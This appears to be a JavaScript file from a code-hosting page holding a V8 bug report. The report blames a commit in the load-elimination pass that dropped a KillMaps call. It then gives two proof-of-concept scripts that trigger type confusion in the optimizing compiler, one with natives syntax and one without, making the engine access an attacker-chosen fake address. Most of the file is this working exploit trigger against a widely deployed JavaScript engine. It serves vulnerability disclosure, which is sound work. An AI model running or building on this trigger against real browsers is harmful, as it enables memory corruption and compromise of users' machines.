73 lines
No EOL
1.6 KiB
JavaScript
73 lines
No EOL
1.6 KiB
JavaScript
/*
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I think this commit has introduced the bug: https://chromium.googlesource.com/v8/v8.git/+/9884bc5dee488bf206655f07b8a487afef4ded9b
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Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
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...
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if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
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object_maps.remove(source_map, zone());
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object_maps.insert(target_map, zone());
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- AliasStateInfo alias_info(state, object, source_map);
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- state = state->KillMaps(alias_info, zone());
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- state = state->AddMaps(object, object_maps, zone());
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+ state = state->SetMaps(object, object_maps, zone());
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}
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...
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}
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I think the "state->KillMaps(alias_info, zone());" was accidentally removed. This lack may lead CheckMap instructions to be removed incorrectly.
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A PoC demonstrating type confusion:
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*/
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function opt(a, b) {
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b[0] = 0;
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a.length;
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// TransitionElementsKind
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for (let i = 0; i < 1; i++)
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a[0] = 0;
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// CheckMap removed, type confusion
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b[0] = 9.431092e-317; // 0x1234567
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}
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let arr1 = new Array(1);
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arr1[0] = 'a';
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opt(arr1, [0]);
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let arr2 = [0.1];
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opt(arr2, arr2);
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%OptimizeFunctionOnNextCall(opt);
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opt(arr2, arr2);
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arr2[0].x // access 0x1234566
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Without natives syntax:
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function opt(a, b) {
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b[0] = 0;
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a.length;
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// TransitionElementsKind
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for (let i = 0; i < 1; i++)
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a[0] = 0;
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b[0] = 9.431092e-317; // 0x1234567
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// Force optimization
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for (let i = 0; i < 10000000; i++) {
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}
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}
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let arr1 = new Array(1);
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arr1[0] = 'a';
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opt(arr1, [0]);
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let arr2 = [0.1];
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opt(arr2, arr2);
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opt(arr2, arr2);
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arr2[0].x // access 0x1234566
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